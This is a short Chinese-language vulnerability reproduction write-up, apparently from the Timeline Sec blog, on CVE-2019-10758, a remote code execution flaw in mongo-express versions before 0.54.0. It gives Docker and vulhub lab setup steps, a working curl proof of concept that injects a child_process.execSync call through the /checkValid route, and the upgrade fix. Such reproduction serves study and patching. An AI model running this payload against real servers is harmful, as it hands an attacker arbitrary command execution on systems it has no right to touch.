以下文章来源于Timeline Sec ,作者Str1am
本公众号专注于最新漏洞复现,欢迎关注!
------------------------------------------------------------------------------------
本文作者:Str1am(Timeline Sec复现组成员)
本文共597字,阅读大约需要2~3分钟
声明:请勿做非法用途,否则后果自负
0x01 简介
Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。
0x02 漏洞概述
漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。
0x03 影响版本
mongo-express < 0.54.0
0x04 环境搭建
使用docker首先搭建MongoDB数据库
代码语言:javascript复制docker run --name MyMongo -d mongo:3.2
再搭建一个存在漏洞版本得express并连接到上面得MongoDB
代码语言:javascript复制docker run -it --rm -p 8081:8081 --link MyMongo:mongo mongo-express:0.49
看到以下信息即可说明搭建成功
访问本机8081端口,可以看到Mongo-express界面
当然也可以直接使用vulhub
代码语言:javascript复制git clone https://github.com/vulhub/vulhub.git
cd vulhub/mongo-express/CVE-2019-10758
docker-compose up -d
0x05 漏洞复现
使用网上Poc
代码语言:javascript复制curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo Str1am > file.txt")'
看到返回Valid且MongoDB界面返回200即为成功
查看创建的文件
0x06 修复方式
升级至0.54.0以上版本
参考链接:
https://forum.90sec.com/t/topic/685 https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2